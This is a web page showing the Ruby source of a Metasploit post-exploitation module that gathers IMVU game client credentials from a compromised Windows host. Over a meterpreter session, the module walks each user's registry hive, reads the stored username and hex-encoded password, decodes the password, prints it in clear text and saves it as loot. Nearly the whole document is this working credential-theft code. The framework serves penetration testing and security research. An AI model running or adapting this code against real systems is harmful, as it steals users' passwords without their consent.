Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/windows/gather/credentials/imvu.rb
Views: 11704
# -*- coding: binary -*-12##3# This module requires Metasploit: https://metasploit.com/download4# Current source: https://github.com/rapid7/metasploit-framework5##67class MetasploitModule < Msf::Post8include Msf::Post::Windows::Registry9include Msf::Auxiliary::Report10include Msf::Post::Windows::UserProfiles1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'Windows Gather Credentials IMVU Game Client',17'Description' => %q{18This module extracts account username & password from the IMVU game client19and stores it as loot.20},21'Author' => [22'Shubham Dawra <shubham2dawra[at]gmail.com>' # www.SecurityXploded.com23],24'License' => MSF_LICENSE,25'Platform' => [ 'win' ],26'SessionTypes' => [ 'meterpreter' ]27)28)29end3031def run32creds = Rex::Text::Table.new(33'Header' => 'IMVU Credentials',34'Indent' => 1,35'Columns' => [36'User',37'Password'38]39)4041credcount = 042userhives = load_missing_hives43userhives.each do |hive|44next if hive['HKU'].nil?4546vprint_status("Looking at Key #{hive['HKU']}")47subkeys = registry_enumkeys("#{hive['HKU']}\\Software\\IMVU\\")48if subkeys.nil? || subkeys.empty?49print_status('IMVU not installed for this user.')50next51end52user = registry_getvaldata("#{hive['HKU']}\\Software\\IMVU\\username\\", '')53hpass = registry_getvaldata("#{hive['HKU']}\\Software\\IMVU\\password\\", '')54decpass = [ hpass.downcase.gsub(/'/, '').gsub(/\\?x([a-f0-9][a-f0-9])/, '\1') ].pack('H*')55print_good("User=#{user}, Password=#{decpass}")56creds << [user, decpass]57credcount = (credcount + 1)58end5960# clean up after ourselves61unload_our_hives(userhives)62print_status("#{credcount} Credentials were found.")6364if credcount > 065print_status('Storing data...')66path = store_loot(67'imvu.user.creds',68'text/csv',69session,70creds.to_csv,71'imvu_user_creds.csv',72'IMVU User Credentials'73)74print_good("IMVU user credentials saved in: #{path}")75end76end77end787980